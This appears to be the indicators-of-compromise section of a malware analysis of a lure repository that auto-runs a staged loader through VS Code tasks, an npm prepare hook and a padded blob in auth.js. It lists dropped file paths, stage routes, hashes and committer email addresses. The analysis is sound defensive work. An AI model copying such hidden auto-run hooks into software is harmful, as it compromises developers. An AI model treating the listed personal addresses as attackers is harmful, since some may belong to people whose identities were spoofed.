Authenticated, Opened Successfully., [INFO] Running celt.js...Loader echo strings
sysInfo=, processInfo=, tid=, sysId=Beacon query parameters

File paths

PlatformPaths
macOS / Linux~/.vscode/vscode-bootstrap.sh, ~/.vscode/celt.js, ~/.vscode/package.json, ~/.vscode/node_modules/, ~/.vscode/node-v24.11.1-{darwin,linux}-{x64,arm64}/, ~/.vscode/<VS_CODE_FOLDER_NAME>.txt (likely ~/.vscode/.txt)
Windows%USERPROFILE%\.vscode\vscode-bootstrap.cmd, %USERPROFILE%\.vscode\celt.npl, %USERPROFILE%\.vscode\package.json, %USERPROFILE%\.vscode\node_modules\request\, %USERPROFILE%\.vscode\nodejs\PFiles64\nodejs\node.exe, %USERPROFILE%\.vscode\node-v24.0.0-x64.msi (transient), %USERPROFILE%\.vscode\<repo-folder>.txt
Stage 5 (public reporting)~/.n2/, ~/.n3/, ~/.npl, ~/.pyp/
Repository.vscode/tasks.json, routes/api/auth.js (line 18), package.json (prepare)

SHA-256

text
2f387c2589bc9cf1f1d6b7535a5c43f68a3dc431c54db44f3b028ae640de3eec  repo .vscode/tasks.json
1875cdcd577c10d1c7f193a5cba7a4483007274e36dbae493c9babb6a3d44e28  repo .vscode/settings.json
2690f33708b9fa4a1b12f8bf8f3244116e8fa219f2e642b069ee4a51091235ab  repo routes/api/auth.js
209a1aafa47a7b9b90e0276f21026268a54233dc11966e59b3c765f42410fea6  hidden blob in auth.js (line 18, after padding)
c913a6b89e6f2d51cb9d6b45f75970cf571784453e85b3051b0409dabc1eb2f0  repo package.json
e2d4d02531eb4f325729baaa9adcd4d2785a812657be6875266339d1841aaa8c  repo server.js
a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacf  repo routes/index.js
81d2c3954b509c0feeca7da45ab2f6f9d5dca8928cef9a165a704786f3f07a1d  repo README.md
e9fc238cfd8273a360b4ed3c4ebf51a3cf6f60b972e48a90ab9269cc8b1dc2cb  repo client/public/_redirects
c0ccc784abc4cddf2372806b154f67c0701ffbd86c5c1a21e0fec57b95d48acc  stage-2 mac      (/api/settings/mac)
78a881c7be81ac2459fc1810f350d6012a8ed160973a14f0eedebe7327c8e4cd  stage-2 linux    (/api/settings/linux)
4f6ead231ccdafbc6e3f9b9a056ad441966569916352c6f19fdd843c0312ec37  stage-2 windows  (/api/settings/windows)
874f6c07e7b381ca6fb561c1d47598042015eb8e51f3ca8e3cc6505bbcad4073  stage-3 vscode-bootstrap.sh  (/api/settings/bootstraplinux)
36e734f59912bc2d457631ec492611718f17c4a0f2beaf0d815639478fda2664  stage-3 vscode-bootstrap.cmd (/api/settings/bootstrap)
ba09693d1a3df7b8385dc703d9352ea8a2a661b09580bfedf287236cf3ea2290  stage-4 celt.js / celt.npl   (/api/settings/env)
6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3  stage-4 package.json         (/api/settings/package)

The repository contains no binaries (no PE, Mach-O or ELF), so there are no executable hashes. Stage hashes are of the files as captured; whitespace may differ in other captures.

Committer identities

Throwaway or spoofed identities used in the lure commits. The address of a genuine tcpie contributor whose identity was inherited through the grafted history is redacted.

text
martinsnaith5050@gmail.com
snaithmartin0@gmail.com
martinsnaith534@gmail.com
martinsnaith7n@gmail.com
templejett03@gmail.com
eltondarrell060@gmail.com
webvlada2024@gmail.com
romonterozamendoza@gmail.com
divanefapibi31@gmail.com
fatihafariya8+2@gmail.com
luis@commerce-media.org
serhiiprymierov25+2@gmail.com
luistech.0924@gmail.com
luistech.0924+1@gmail.com
simonsharp331+1@gmail.com
hiringtecjreview@outlook.com
lxin6793@gmail.com
aaronhiroto.bm@gmail.com
robertferrero0904@gmail.com
ignusmart@gmail.com
coinstar@gmail.com
Pourcheriki@gmail.com
randhawamanpreet37@gmail.com
mjlescano@protonmail.com